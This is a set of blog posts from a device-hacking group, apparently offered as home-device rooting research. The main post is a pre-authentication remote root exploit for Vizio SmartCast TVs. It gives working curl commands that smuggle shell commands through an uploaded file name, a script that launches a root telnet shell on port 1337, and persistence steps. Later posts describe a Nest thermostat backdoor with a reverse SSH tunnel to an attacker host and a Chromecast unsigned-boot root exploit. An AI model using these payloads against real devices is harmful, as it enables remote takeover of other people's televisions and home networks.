ViziOwn – Exploiting the Vizio SmartCast Platform

Posted: February 10th, 2021 | Author: | Filed under: Uncategorized | 4 Comments »

As an Exploiteer, we are no strangers to Smart TV’s, having exploited televisions from Sony and Samsung, to LG and Vizio. That, combined with being trapped inside, there isn’t a whole lot to do but watch TV, play games, patiently wait for the pandemic to end, and hack our previously purchased IoT. As the original Exploitee.rs team was formed just a bit over 10 years ago now, what a way to celebrate than with the release of a pre-authentication bug on a TV?

Please note this post goes into detail regarding a remote code execution mechanism in a component of software common to different model TV’s, which differ in both software stack and CPU/SOC, but just happen to feature a common vulnerability.


SmartCast OS

Vizio TV and “SmartCast OS”

Vizio’s latest foray has been through its use of its “SmartCast OS”, which leverages the “Google Cast”/Chromecast ecosystem by utilizing Chromium (the OSS version of the Chrome browser) along with an HTML and JavaScript driven interface. In fact, nearly every application on the device (Disney+, Hulu, YouTube, etc.) is a webpage launched within Chromium. This provides some safety in that by sandboxing the environment within a browser certain attacks can be avoided. However, the addition of vendor needed (and possibly insecure) APIs can quickly create an insecure environment. Below we’ll highlight the use and exploitation of one such API.


Vulnerability Discovery

First off, we started our analysis with a simple basic network scan.

Please ignore port 22 and 5555, as those have been opened after the fact.

nmap, as great as it is, has a simple “curse” in that only 1000 default ports are scanned. Lets try that scan again with the full port range.

Note: we’ve added the argument -p1-65535 to the scan

This time around we see a few extra ports, specifically 7345, 8005, 50403.

nmap also has the useful “-A” argument

-A: Enable OS detection, version detection, script scanning, and traceroute

Re-running our nmap scan with “-A” will get us a simple fingerprinting of services running on these ports.

We can see in the above image that port 7345 is running a web server with an SSL port open.

HTTPS, no page found… getting closer

We open the address and port in our browser and note that we’ve received a valid HTTPS response from the webserver (albeit a 404). Enumerating further by leveraging a different vulnerability (to be released later), and with a little luck we find the TVs /scpl/ interface.

The above is interesting as the webserver has a diagnostics interface and more than likely is serving other web services.

Exploiting a SmartCast Webservice

As noted earlier on, we did have a more hands on exploit for this system (which will be released in time / once this is patched), which we leveraged to dump the entire filesystem of the TV. As a result, we had files and binaries that we could leverage to explore.

Digging inside of the “scpl” directory, leveraging the earlier knowledge of the filesystem (retrieved from a firmware dump) with a cursory run of strings on files led us to the “/install” endpoint, from this “SCPL Sideload” html file.

templates/install.html

We then proceed by making a test request with curl to /install on the actual TV set.

curl "https://10.0.0.106:7345/install" -k -d "data=123"
<html><body>INCORRECT FILE</body></html>

The above request produces the interesting output “INCORRECT FILE”, we use the html file above to recreate the file upload request, leveraging “scpl_tgz_package” as a variable name, we get this informative output.

curl -F [email protected]/'file' "https://10.0.0.106:7345/install" -k<html><body>SCPL Install Package: file <br>
RUNNING CMD: rm -rf /data/tv/tmp/scpl_install; mkdir /data/tv/tmp/scpl_install<br><br>
RUNNING CMD: tar -xvzf /data/tv/tmp/file -C /data/tv/tmp/scpl_install<br>
CMD ERROR: tar: exec gunzip: No such file or directory
tar: read error
<br><br><br>Failure with installation, see logs</body></html>

Based on the above output, it appears that the service is running a command on the device based off the input of “scpl_tgz_package” (the name of the file), which we control! Trying it with a simple command injection:

curl -F [email protected]/'test`id`.tgz' "https://10.0.0.106:7345/install" -k
<html><body>SCPL Install Package: test`id`.tgz <br>
RUNNING CMD: rm -rf /data/tv/tmp/scpl_install; mkdir /data/tv/tmp/scpl_install<br><br>
RUNNING CMD: tar -xvzf /data/tv/tmp/test`id`.tgz -C /data/tv/tmp/scpl_install<br>
CMD ERROR: tar: /data/tv/tmp/testuid=0(root): No such file or directory
<br><br><br>Failure with installation, see logs</body></html>

Executing the command above, our filename is getting parsed and executed, resulting in “uid=0(root)” as part of the file name in the response. We have command injection!

SmartCast Exploit RCA

Once getting on the system and extracting the firmware, we can start digging around to see how this all works. We locate a lighttpd config for a service on 7345.

The relevant snippet of the config can be found below

$SERVER["socket"] == ":7345" {
    ssl.engine = "enable"
    ssl.pemfile = basedir + "/lighttpd/scpl-server.pem"
    # ssl.ca-file = basedir + "/lighttpd/cast_cacert.pem"
}

alias.url = (
    "/static" => basedir + "/lighttpd/static",
)

url.rewrite-once = (
    "^(/static.*)$" => "$1",
    "^(/.*)$" => "/restapp.fcgi$1",
)

In the above, we can see that the webserver passes any “/static” prefixed URLs to “restapp.fcgi”.

We then retrieve the contents of the restapp.fcgi file.

#!/bin/sh
###############################################################################
# launch SCPL with logwrapper
# invoked via lighttpd/lighttpd.conf
###############################################################################

export SCPL_ROOT=`/bin/cat /tmp/scpl_root`
export LD_LIBRARY_PATH=$SCPL_ROOT/lib:$LD_LIBRARY_PATH

exec /system/bin/logwrapper $SCPL_ROOT/lighttpd/scpl.sh

In the above, we can see that the “restapp.fcgi” script is just a wrapper for the “scpl.sh” shell script.

We then cat the “scpl.sh” script:

#!/bin/sh
###############################################################################
# launch SCPL
# invoked via lighttpd/restapp.fcgi
###############################################################################
export SCPL_ROOT=`/bin/cat /tmp/scpl_root`

# vzservices
#PYTHONPATH=/data/debug/vzservices/lib:/application/vzservices/lib
# bluetooth
PYTHONPATH=$PYTHONPATH:/system/bin/bluetooth/lib
# scpl
PYTHONPATH=$PYTHONPATH:/system/lib:$SCPL_ROOT/lib
export PYTHONPATH

export AWS_DATA_PATH=$SCPL_ROOT/site-packages/botocore

LD_LIBRARY_PATH=$SCPL_ROOT/lib:/system/bin/bluetooth/lib:$LD_LIBRARY_PATH
export LD_LIBRARY_PATH

echo $$ > /var/run/manage.pid
exec $SCPL_ROOT/bin/manage runfcgi method=threaded

Now this gets a bit more interesting. The script “scpl.sh” executes the “manage” binary. The “manage” binary is a 18MB file, which appears to be a pyinstall-like created ELF. This binary has a bunch of packed .pyc files in its data section, and a python interperter. Having never encountered this type of format before, we fired up a hex editor to investigate further.

Down the rabbit hole:

These strings look familiar and we’ve seen some of them in previous tests. We seem to be getting close to the true root cause of the vulnerability.

Extracting the .pyc files took a tad more effort in that around that block of code above are ascii “<module>” strings. Extracting these out, and flagging for Python 2.7 bytecode allowed uncompyle6 to do it’s work.

Before:

00000000  01 0c 01 0f 02 00 00 00  63 00 00 00 00 00 00 00
00000010  00 03 00 00 00 40 00 00  00 73 9d 00 00 00 64 00
00000020  00 64 01 00 6c 00 00 6d  01 00 5a 01 00 01 64 00
00000030  00 64 02 00 6c 02 00 6d  03 00 5a 03 00 01 64 00
00000040  00 64 03 00 6c 04 00 6d  05 00 5a 05 00 01 64 00
00000050  00 64 04 00 6c 06 00 6d  07 00 5a 07 00 01 64 00  

After:

00000000  03 f3 0d 0a ab 02 1f 60  63 00 00 00 00 00 00 00
00000010  00 03 00 00 00 40 00 00  00 73 9d 00 00 00 64 00
00000020  00 64 01 00 6c 00 00 6d  01 00 5a 01 00 01 64 00
00000030  00 64 02 00 6c 02 00 6d  03 00 5a 03 00 01 64 00
00000040  00 64 03 00 6c 04 00 6d  05 00 5a 05 00 01 64 00
00000050  00 64 04 00 6c 06 00 6d  07 00 5a 07 00 01 64 00 

Decompiled “manage” Binary

We can now dig into the actual functions in question. Because we know that the request, which triggered our code execution vulnerability, was a post request. We start with the post handler

    def post(self, request, property=None):
        logger.info('POST')
        if request.FILES.get('scpl_tgz_package', None):
            _file = request.FILES.get('scpl_tgz_package')
            _output = ''
            logger.info('SCPL Install Package: %s', _file)
            _output += 'SCPL Install Package: %s <br>' % _file
            try:
                _response = ''
                _file_and_path = ('{path}/{filename}').format(path=SystemPath.PATH.SCPL_TMP(), filename=_file)
                _extract_location = '%s/scpl_install' % SystemPath.PATH.SCPL_TMP()
                _install_script = _extract_location + '/install.sh'
                self.handle_uploaded_file(_file, _file_and_path)
                _cmd = 'rm -rf %s; mkdir %s' % (_extract_location, _extract_location)
                _continue, _log = self._run_cmd(_cmd)
                _output += _log
                if not _continue:
                    raise Exception('Failure with installation, see logs')
                _cmd = ('tar -xvzf {download_location} -C {extract_location}').format(download_location=_file_and_path, extract_location=_extract_location)
                _continue, _log = self._run_cmd(_cmd)

In the code above, if there is a “scpl_tgz_package” posted value, it sets the “_file” variable to it. Following the variable assignment, the handler proceeds to take the “_file” value and appends it to a path stored within “_file_and_path”. Then, in the last few lines, the handler passes the input from _file, to “_file_and_path” to “_run_cmd” for use in a tarball extraction operation.

We then locate the “_run_ command” definition to check for any embedded filtering.

    def _run_cmd(self, cmd):
        logger.info('RUNNING CMD: %s', cmd)
        _output = 'RUNNING CMD: %s<br>' % cmd
        try:
            _output += subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True, universal_newlines=True)
            _output = _output.replace('\n', '<br>')
            _output += '<br>'
            logger.info('CMD OUTPUT: %s', _output)
        except subprocess.CalledProcessError as exc:
            logger.info('CMD ERROR: %s' % exc.output)
            _output += 'CMD ERROR: %s<br>' % exc.output
            return (False, _output)

        return (True, _output)
https://docs.python.org/3/library/subprocess.html

The above utilizes the subprocess library’s check_output function to execute a command. Since this was running as a root user, with no privilege separation, we end with full root access.

Note: There are a few other interesting things to point out with the above code, in that another avenue of exploitation could be leveraged with a malicious install.sh file vs command injection in the filename.


Exploit PoC(s)

This is a pre-auth remote exploit for a large portion of the Vizio SmartCast TV’s, allowing for (persistent) root code execution.

Notes / Caveats:

  • This can currently persist until there is an update, functionality needs to be added to prevent updates.
  • There are a few types of updates, OS updates (including kernel and most of the filesystem), UI updates – which include binaries, JSON config files, HTML pages, and app updates. Plus a few other update types (Chrome, AppleTV, etc).
  • This appears to be safe, and has been running without issue on our end for the last few weeks. There is always the chance that something can go wrong, so please use caution, and we shall not be held liable if something goes wrong.
  • Depending on the model of your TV, you may need to attempt the 2nd POC. The Exploit will still work, but the payload may need to be different. There MIGHT be a correlation between “high-end” (SX7 and the like) sets and “low-end” sets (MT588X). If the first one doesn’t work, try the second, then pop on our discord to let us know!

There is a breakdown on the vulnerability above, but the process can be summarized as a trivial command injection within a webserver’s POST request handler. For our example, my TV is at “10.0.0.106”, Replace that with the IPv4 address of your TV in all of the following examples.

There is a very easy way to use this, visit our page below on your network and enter your TV’s IPv4 address, and follow the instructions. It will use queries to automatically enable sshd on your TV. Or, utilize the curl command further below if you want to see whats going on.

CLICK HERE TO ROOT YOUR SX7 TV

The page linked above will perform a more error-resistant, interactive, method of enabling sshd. You will still need to manually ensure it persists, by following the instructions further below.

The Automagical Way

Or, the simple bash one-liner and then the ssh in way:

touch 'exploiteers`start sshd`.tgz' && curl -F [email protected]/'exploiteers`start sshd`.tgz' "https://10.0.0.106:7345/install" -k

# Then, SSH in
ssh [email protected]
cat build.prop | grep fingerprint
Proof of Concept

This was tested on the 2018 PQ65-F1, and works well and reliably. It should also work the same way on other models (ro.board.platform=sx7). However, for some models this may need to be tweaked as they may not have a sshd binary on the device.

Other Models. Same Exploit. Different Payload (MT588X)

For example, on the D32F-G1, the exploit works, but the payload needs to be different, as you may an error displayed such as:

RUNNING CMD: tar -xvzf /3rd_rw/sc-data/tmp/exploiteers`sshd`.tgz -C /3rd_rw/sc-data/tmp/scpl_install<br>CMD ERROR: /bin/sh: sshd: command not found

The exploit is still running as root, however the sshd daemon is not being started as it does not exist. I’d like to thank riptide_wave on our discord for testing this out, so we could deliver another working POC for a different board/model.

These sets (which can be identified by their ro.board.platform value of “MT5581VHBJ”) have the same vulnerability, but a different software stack, therefore, we need to tweak the payload. The payload below will push a “busybox” binary and script over. Then extract, run it, and launch the “telnetd” daemon.

DOWNLOAD MT5581 PAYLOAD and SCRIPT

#!/bin/sh
IP=10.0.0.106

touch 'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && tar xfv exploiteers.tar`.tar'
touch 'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && sh install.sh`.tar'

echo "Pushing binaries..."
curl -F [email protected]/'exploiteers.tar' "https://$IP:7345/install" -k -H "Expect: "
echo "Extracting binaries..."
curl -F [email protected]/'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && tar xfv exploiteers.tar`.tar' "https://$IP:7345/install" -k -H "Expect: "
echo "Executing script..."
curl -F [email protected]/'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && sh install.sh`.tar' "https://$IP:7345/install" -k -H "Expect: "
echo "Try telnet on port 1337"

exploiteers.tar contains:

  • “busyboxv7” from: https://busybox.net/downloads/binaries/1.21.1/busybox-armv7l
  • “install.sh” which consists of:
#!/bin/sh
echo pwd
chmod 777 /3rd_rw/sc-data/tmp/busyboxv7
/3rd_rw/sc-data/tmp/busyboxv7 telnetd -p 1337 -l /bin/sh

Since there are a number of TV’s affected by this vulnerability, running differing software stacks, you may run into issues. If so, pop on our discord and we will do our best to help!


Persistence Modification

To make the payload persist, you need to make a few extra changes after connecting.

First pull the “run_console_onoff.sh” file locally.

#copy the run_console_onoff.sh script locally to edit
scp run_console_onoff.sh [email protected]:/system/bin/run_console_onoff.sh .

Now, edit the file. Note the line added in before the if of “start sshd” in the image below? Make the changes but watch your line endings! Then, save the file, remount the partition RW, and push the file back and reboot.

run_console_onoff.sh after modification
#remount the TV /system RW
ssh [email protected]
mount -o,remount rw /system
exit

scp run_console_onoff.sh [email protected]:/system/bin/
#reconnect to the TV
ssh [email protected]	
#remount /system ro and reboot
mount -o,remount ro /system
reboot

Beyond The Root

We often find ourselves facing this question:

We have code execution on this device? Awesome. Now what can we do with it?

The answer is everything, and nothing. The keys are in the hands of the community to come up with something amazing, something killer, or just have another rooted device taking up space.

A few of my pain points and thoughts include:

  • Automatic Content Recognition (ACR) data – what data of mine is being sent and how can I prevent it?
  • Can I add new “apps” (webpages, mostly)
  • Can I play DOOM?
  • What the hell is Xumo, and Crackle, and why do I keep pressing this button? Why isn’t it Hulu, or some other app I prefer more?
Heard a rumor that these services pay per button press.

Xumo is an American over-the-top internet television service owned by telecommunications conglomerate Comcast.

…apparently (per wikipedia)

Lets tackle remote button remappings! There are two approaches to doing it, one is leveraging the UI updates, and modifying a JSON file. The other is modifying the actual IR key mapping.

IR Keymapping

Doing IR keymapping is fairly straight forward, ssh in and grab this file via scp:

scp [email protected]:/system/misc/Key.xml .

Then, open it in your favorite editor, and find the key you want to modify, and change it! Alter the “UI” value. Peeking through the file, they’ve mapped other keys too. Hulu is 0x100090

Xumo Before
Xumo is now Hulu

Save the file, remount your system partition RW (as shown above), SCP it back, and reboot the TV via SSH

#remount the TV /system RW
ssh [email protected]
mount -o,remount rw /system
exit

scp Key.xml [email protected]:/system/misc/Key.xml

JSON Update

The JSON update method of remapping is actually a bit cleaner, as we can really change where we want things to redirect to and increase our version number so it isn’t quickly overwritten.

We use the same process here as above. We are going to grab a file from the TV, edit it, and push it back.

scp [email protected]:/data/tv/save/sc-config.json .

This file could use a lot of exploration. Giving it a quick pass through jq makes it much easier to read:

cat sc-config.json | jq . > sc-config-mod.json

The file is interesting for multiple reasons, there are links to encrypted firmware blobs, AWS secret keys, these HtmlAppURI’s for streaming video… but lets focus on changing a button… this time Crackle.

You can even modify the VirtualInputs (accessible by pressing the input key) to add / change an app. Here, we removed WatchFree and replaced it with Hulu. Note the AppID of 3 that relates back to the URL above, indexed at 3.

It is as simple as swapping a few IR codes around (which, are different… for some reason).

Crackle URL and IR Code
Hulu URL and IR Code

The simplest way to do it – just swap the IR codes. Hulu is now 0xF8, Crackle is now 0xF9, scp it back and reboot the tv.

ssh sc-config-mod.json [email protected]:/data/tv/save/sc-config.json

There may be plenty of other things to do with this and other sets – and if you have ideas or additions, please share here, on our wiki, or on our discord!


Appendix: Python Code

# uncompyle6 version 3.7.4
from rest_framework.renderers import StaticHTMLRenderer
from rest_framework.views import APIView
from rest_framework.response import Response
from REST.utils import SystemPath
from django.conf import settings
import os, subprocess, logging
logger = logging.getLogger(__name__)

class install(APIView):
    renderer_classes = (
     StaticHTMLRenderer,)

    def is_tv_in_device_group(self):
        from REST.resources import Global
        _storedScDevice = Global.storageManager.getProperty('__scGroup')
        if not _storedScDevice and settings.PROXY_TEST is False:
            return False
        return True

    def get(self, request, property=None):
        _content = '<html><head>{style}</head><body>{content}</body></html>'
        _style = '<style> body {font-family: Arial, Helvetica, sans-serif; } #customers { border-collapse: collapse; width: 30%;} #customers td, #customers th {border: 1px solid #ddd; padding: 8px;} #customers tr:nth-child(even){background-color: #f2f2f2;} #customers tr:hover {background-color: #ddd;} #customers th {padding-top: 12px; padding-bottom: 12px; text-align: center; background-color: #e4f2c1; color: black;} span.warning {border: 2px solid orange; } span.error {border: 2px solid red; } </style>'
        if not self.is_tv_in_device_group():
            _content = _content.format(style=_style, content='TV must be in a device group')
            return Response(_content)
        _body = '<table style="float: left" id=customers><thead><tr><th colspan=2>VIZIO - SCPL Side Load Installation</th></tr></thead><tbody><form action="/install" method="post" enctype="multipart/form-data" name="install" id="install"><tr><td>Package (.tgz)</td><td><input type="file" name="scpl_tgz_package" id="scpl_tgz_package"></td></tr><tr><td>&nbsp;</td><td><input type="submit" name="Install" value="Install"></td></tr></form></tbody></table>'
        _content = _content.format(style=_style, content=_body)
        return Response(_content)

    def post(self, request, property=None):
        logger.info('POST')
        if request.FILES.get('scpl_tgz_package', None):
            _file = request.FILES.get('scpl_tgz_package')
            _output = ''
            logger.info('SCPL Install Package: %s', _file)
            _output += 'SCPL Install Package: %s <br>' % _file
            try:
                _response = ''
                _file_and_path = ('{path}/{filename}').format(path=SystemPath.PATH.SCPL_TMP(), filename=_file)
                _extract_location = '%s/scpl_install' % SystemPath.PATH.SCPL_TMP()
                _install_script = _extract_location + '/install.sh'
                self.handle_uploaded_file(_file, _file_and_path)
                _cmd = 'rm -rf %s; mkdir %s' % (_extract_location, _extract_location)
                _continue, _log = self._run_cmd(_cmd)
                _output += _log
                if not _continue:
                    raise Exception('Failure with installation, see logs')
                _cmd = ('tar -xvzf {download_location} -C {extract_location}').format(download_location=_file_and_path, extract_location=_extract_location)
                _continue, _log = self._run_cmd(_cmd)
                _output += _log
                if not _continue:
                    raise Exception('Failure with installation, see logs')
                _cmd = ('sh {install_script} {filename}').format(install_script=_install_script, filename=_file_and_path)
                _continue, _log = self._run_cmd(_cmd)
                _output += _log
                if not _continue:
                    raise Exception('Failure with installation, see logs')
                _output += '<br><b>SOFT POWER CYCLE TV</b><br>'
                return Response(('<html><body>{content}</body></html>').format(content=_output))
            except Exception as e:
                logger.info('ERROR: %s', str(e))
                _output += '<br><br>' + str(e)
                return Response(('<html><body>{content}</body></html>').format(content=_output))

        else:
            logger.info('INCORRECT FILE')
            return Response('<html><body>INCORRECT FILE</body></html>')
        return

    def _run_cmd(self, cmd):
        logger.info('RUNNING CMD: %s', cmd)
        _output = 'RUNNING CMD: %s<br>' % cmd
        try:
            _output += subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True, universal_newlines=True)
            _output = _output.replace('\n', '<br>')
            _output += '<br>'
            logger.info('CMD OUTPUT: %s', _output)
        except subprocess.CalledProcessError as exc:
            logger.info('CMD ERROR: %s' % exc.output)
            _output += 'CMD ERROR: %s<br>' % exc.output
            return (False, _output)

        return (True, _output)

    def handle_uploaded_file(self, f, fileto):
        logger.info('HANDLE UPLOADED FILE: %s', fileto)
        with open(fileto, 'wb+') as (destination):
            for chunk in f.chunks():
                destination.write(chunk)

Google Nest: Exploiting DFU For Root

Posted: June 24th, 2014 | Author: | Filed under: Nest | 8 Comments »

nest
Nest, a company recently acquired by Google, offers a variety of popular network enabled home utilities. The most popular of which is a thermostat that allows a user to control their household temperature remotely from their smart phone. This device, although seemingly useful, if not well protected can allow an attacker the ability to remotely monitor user’s habits or network traffic. Below, we will go into a method of attacking Nest brand thermostats by leveraging the device’s DFU mode to boot unsigned code at the boot-loader level. What this means in layman’s terms is that we are able to hijack the device’s code flow very early on, allowing us to make changes without ANY restrictions. Below we will describe the attack, our method of exploiting it, and our proof of concept code which allows a user to backdoor a Nest thermostat.

The Bug:

The Nest uses a CPU similar to the OMAP3630 series. This CPU features a Device Firmware Update (DFU) mode that can be accessed by holding down the Nest’s screen while off. This mode is intended for the manufacturer to easily diagnose and repair the device. Unfortunately, in the case of the Nest, this mode also allows us to modify the device without restriction.

The Attack:

Our attack on the Nest thermostat is simple, we use the device’s recovery mode to run our own modified boot-loader (stage one and two). We then use our loaded boot-loaders to initiate a Linux kernel that is used to modify the file system on the Nest. We then add a SSH server running as root as well as functionality to create a reverse SSH tunnel to a specified host using the Nest’s virtual drive.

NestAttack Rooting a Nest.

NestAttack Rooting a Nest.

The Details:

The attack is all played out within the Nest’s DFU mode which is briefly mentioned above. This mode allows a user to push a set of images and addresses to be loaded through the device’s USB port with a utility called “omap3_loader”. DFU mode is only intended as a catalyst to load the next stages of code, the first of which in our case is the x-loader binary. X-loader is a stage 1 boot-loader that is used on the Nest as the initial loading point for the system. X-loader handles getting the device ready to execute the second stage boot-loader that is responsible for loading up the Linux kernel. On the Nest, the second stage boot-loader is an open source piece of software widely used on embedded devices known as “U-Boot”.  We use our own custom modified version of U-Boot that is based on the GPL released Nest version to boot a Linux kernel. This Linux kernel is only used to access the Nest’s file system and add a cross compiled SSH server called Dropbear. This allows a user to connect to their Nest and obtain root access on their thermostat. After installing the SSH server, we move on to adding a SH script which checks the Nest’s virtual disk every 10 minutes for 2 files, a “host.txt” which contains a username and host in the “[email protected]” format as well as a “key.txt” which contains the RSA key for the SSH connection. If these files are found, the device connects out to a remote attacker at the specified address in the “host.txt” file and makes a reverse SSH connection. This allows remote access to a user’s thermostat and home network bypassing most firewalls. This process can be stopped at any time by placing an empty file with the name “stop.txt” within the root of the Nest’s virtual USB disk.

Google Nest DFU Attack

Google Nest DFU Attack

Exploitation:

The exploit process is a single stage depending on your operating system:

  • For Linux, run “NestAttack-Linux.sh”

These files push the built binaries to the Nest and handle rooting the device. This process takes less than a minute.

DEF CON:

We found this “feature” back in November 2013, and mentioned it publicly on December 5th, 2013 (see this tweet). Initially, we planned on releasing our findings at a conference this summer (along with new root methods for the Chromecast and Roku), but our talk was declined. Their loss!

We will, however, be speaking this year at DEF CON 22! Our talk, entitled Hack All The Things: 20 Devices in 45 Minutes, will feature unreleased exploits for 20 devices being released in a 45 minute period. If you are in Las Vegas this August, make sure to stop in!

Usage:

  1. Download package  (Supports: Linux support only (more coming soon.)).
  2. Extract package.
  3. Run the appropriate attack script depending on your OS. Follow instructions after executing.
  4. Enjoy

Downloads:

You can get our pre-built packages for easy exploitation by using the following link.

Download NestAttack At Download.GTVHacker.com

We’re also in the process of open sourcing our build environment at:

GTVHacker GitHub – NestDFUAttack

 

Video:

DEF CON 22: Again, come check out our DEF CON talk this August in Las Vegas. Hack All The Things: 20 Devices in 45 Minutes, it will be awesome and there may be a special guest!

 


Chromecast: Exploiting the Newest Device By Google.

Posted: July 28th, 2013 | Author: | Filed under: Uncategorized | 10 Comments »

Chromecast-stockOn Wednesday, July 24th Google launched the Chromecast. As soon as the source code hit we began our audit. Within a short period of time we had multiple items to look at for when our devices arrived. Then we received our Chromecasts the following day and were able to confirm that one of the bugs existed in the build Chromecast shipped with. From that point on we began building what you are now seeing as our public release package.

Exploit Package:
Our Chromecast exploit package will modify the system to spawn a root shell on port 23. This will allow researchers to better investigate the environment as well as give developers a chance to build and test software on their Chromecasts. For the normal user this release will probably be of no use, for the rest of the community this is just the first step in opening up what has just been a mysterious stick up to this point. We hope that following this release the community will have the tools they need to improve on the shortfalls of this device and make better use of the hardware.

Is it really ChromeOS?

No, it’s not. We had a lot of internal discussion on this, and have concluded that it’s more Android than ChromeOS. To be specific, it’s actually a modified Google TV release, but with all of the Bionic / Dalvik stripped out and replaced with a single binary for Chromecast. Since the Marvell DE3005 SOC running this is a single core variant of the 88DE3100, most of the Google TV code was reused. So, although it’s not going to let you install an APK or anything, its origins: the bootloader, kernel, init scripts, binaries, are all from the Google TV.

We are not ruling out the ability for this to become a Google TV “stick”.

Speaking of Google TV – if you are in Vegas for DEF CON 21, check out our talk – “Google TV: Or How I Learned to Stop Worrying and Exploit Secure Boot” this Friday August 2nd at 3PM in the Penn and Teller Theater! We’ve got secure boot exploits for the Google TV (unsigned kernels and roots anyone?) and more – don’t miss it!

Chromecast - GTVHacker

How does the exploit work?

Lucky for us, Google was kind enough to GPL the bootloader source code for the device. So we can identify the exact flaw that allows us to boot the unsigned kernel. By holding down the single button, while powering the device, the Chromecast boots into USB boot mode. USB boot mode looks for a signed image at 0×1000 on the USB drive. When found, the image is passed to the internal crypto hardware to be verified, but after this process the return code is never checked! Therefore, we can execute any code at will.

ret = VerifyImage((unsigned int)k_buff, cpu_img_siz, (unsigned int)k_buff);

The example above shows the call made to verify the image, the value stored in ret is never actually verified to ensure that the call to “VerifyImage” succeeded. From that, we are able to execute our own kernel. Hilariously, this was harder to do than our initial analysis of exploitation suggested. This was due to the USB booted kernel needing extra modifications to allow us to modify /system as well as a few other tweaks.

We then built a custom ramdisk which, when started, began the process of modifying the system by performing the following steps:

  • Mount the USB drive plugged in to the chromecast.
  • Erase the /system partition (mtd3).
  • Write the new custom system image.
  • Reboot.

Note: /system is squashfs as opposed to normally seen EXT4/YAFFS2.

The system image installed from our package is a copy of the original with a modified /bin/clear_crash_counter binary. This binary was modified to perform its original action as well as spawn a telnet server as root.

After the above process, the only modification to the device is done to spawn a root shell. No update mitigations are performed which means that theoretically, an update could be pushed at any moment patching our exploit. Even with that knowledge, having an internal look at the device is priceless and we hope that the community will be able to leverage this bug in time.

Downloads and instructions for exploitation can be found on our wiki at: GTVHacker Wiki: Google Chromecast

Looking for help rooting your device or just want to ask us a question? Check out our Chromecast forum


GTVHacker – A Brief History And a Sneak Peek

Posted: January 3rd, 2013 | Author: | Filed under: GTVHacker | Tags: , , , , , , , , | Comments Off on GTVHacker – A Brief History And a Sneak Peek

A little over 2 years ago a band of miscreants came together from an XDA developers forum post and started working together to get privileged code execution on the Google TV. Little did we know that the challenges would be greater than anyone could imagine.

Google TV LogoWhen the Google TV was released it was easily one of the most locked down Android devices containing a signature enforced bootloader which established a “chain of trust” between it and every component loaded thereafter. The hardened state of the kernel the device came with made things even worse, with the kernel enforcing module signing as well as lacking most of the popular Android vulnerabilities that were plaguing the mobile world. This Android device was truly unlike most others.

So we began work attempting to win an advertised cash bounty for being the first to gain root access on the newly released device. After some work, we posted the first root method for the Logitech Revue, winning a $500 prize. Since then it has been our goal to make Google TV an open platform by unlocking each released device. There were plenty of challenges along the way, in the form of long nights reversing code and many bricked devices. But along with the challenges there have also been many triumphs in the form of releases.

Going over some of our biggest acheivements in the last 2 years:

  • Found and released a hardware root method for the Logitech Revue and assisted Dr. Dan Rosenberg in finding a software root exploit.
  • Found and released multiple exploits for the Sony NSZ-GT1 and Sony Google TV television line, breaking the established chain of trust.
  • Received a secret message from Logitech within the stock recovery on the Logitech Revue.
  • Released our own customized and completely open Google TV kernel which utilized a chain of exploits to execute.
  • Had the opportunity to present at the 20th annual “DEFCON” security conference in which we we teased a root exploit for the newly released NSZ-GS7 but are still waiting to leverage it until more hardware comes out.
  • While working on porting the Boxee OS to the Google TV we found and released 2 exploits which have enabled the Boxee community to install a popular modification package known as Boxee+.
  • We released a modification package for the Hisense Pulse which leveraged the intial debug configuration of the device for root, disabled automatic updates, and modified the flash plug-in allowing you to watch Hulu and other previously blocked content providers.

Custom Google TV RecoveryIn regards to the future of GTVHacker, over the past month we found and have been developing an exploit which will allow for custom kernels to be run on most of the newest generation of Google TV devices. We’ve also (cj_000 specifically) been busy making a custom recovery specifically designed for the Google TV. You may already know this but, there are a number of differences between the Google TV and other Android devices and these difference make it impossible to simply build a popular AOSP based recovery or kernel image. Due to these differences, we had to make our own recovery from scratch. At the time of writing this it’s still in a beta phase and rather simple. It only allows for installation of an update.zip package from usb. This can be a modified update, a superuser binary and apk or whatever else you wish. We’ve also started adb over ethernet to allow for custom system changes that may require more interaction than a update package.

Below is a quick demo of the custom recovery mentioned above being tested on a Sony NSZ-GS7 Google TV device. We currently don’t have a release date set as we are trying to keep most of the specifics private in order to avoid an update that could patch the exploit before the community gets to utilize it. We just wanted to give the community a sneak peek at what we’ve been working on privately over the last few months. So sit tight, 2013 will be a great year for the Google TV and GTVHacker!

Discuss More…

 


The Netgear NeoTV Prime (GTV100) and Asus Qube – info on the next Google TV boxes

Posted: December 2nd, 2012 | Author: | Filed under: GTVHacker | Tags: , , , , | Comments Off on The Netgear NeoTV Prime (GTV100) and Asus Qube – info on the next Google TV boxes
Netgear GTV100 Label
The GTVHacker team had heard rumors of a Netgear Google TV device for a while, but the rumors were confirmed recently when GTVHacker team member cj_000 found FCC documentation for the new device. We waited to see if any of the big news sites would find the documentation and pictures, but since the community has yet to find them – here you go:  A look at the Netgear NeoTV Prime (GTV100)!

Netgear GTV100 Remote

This is a generation 2 Google TV box, it will probably look fairly close to the Vizio Co-Star (hardware wise) but with a different case. There is also more than likely going to be a custom UI to help separate the NeoTV Prime from Google TV competitors but we have yet to have that information confirmed. For more on the NeoTV Prime, check out the remote, and WiFi module: NeoTV Prime Remote via the FCC  /   NeoTV Prime Wifi Module via the FCC.

Asus Qube Remote Dongle

That brings us to the Asus Qube, which is a Google TV box that had its remote module hit the FCC yesterday. In regards to hardware and software, the Qube should be a similar device. We’re not expecting any major surprises here, every generation 2 Google TV device (excluding the LG G2) has used the same Marvell 88DE3100 series chipset. It is worth mentioning that some are reporting this to be a USB stick. The sheer size of cooling needed for the Marvell 88DE3100 series (Armada 1500) chip makes this theory unlikely.

For instance, take a look at our Sony NSZ-GS7 teardown or the internals of the Vizio Co-Star. Both need quite a bit of cooling due to the Marvell CPU which would be near impossible with a USB powered “dongle”.

Below are direct links to the FCC information on the Asus Qube as well as the app mentioned in the Engadget article that originally broke the story on the Qube.

Engadget Source /Asus Qube via the FCC / Asus Oplay via Google Play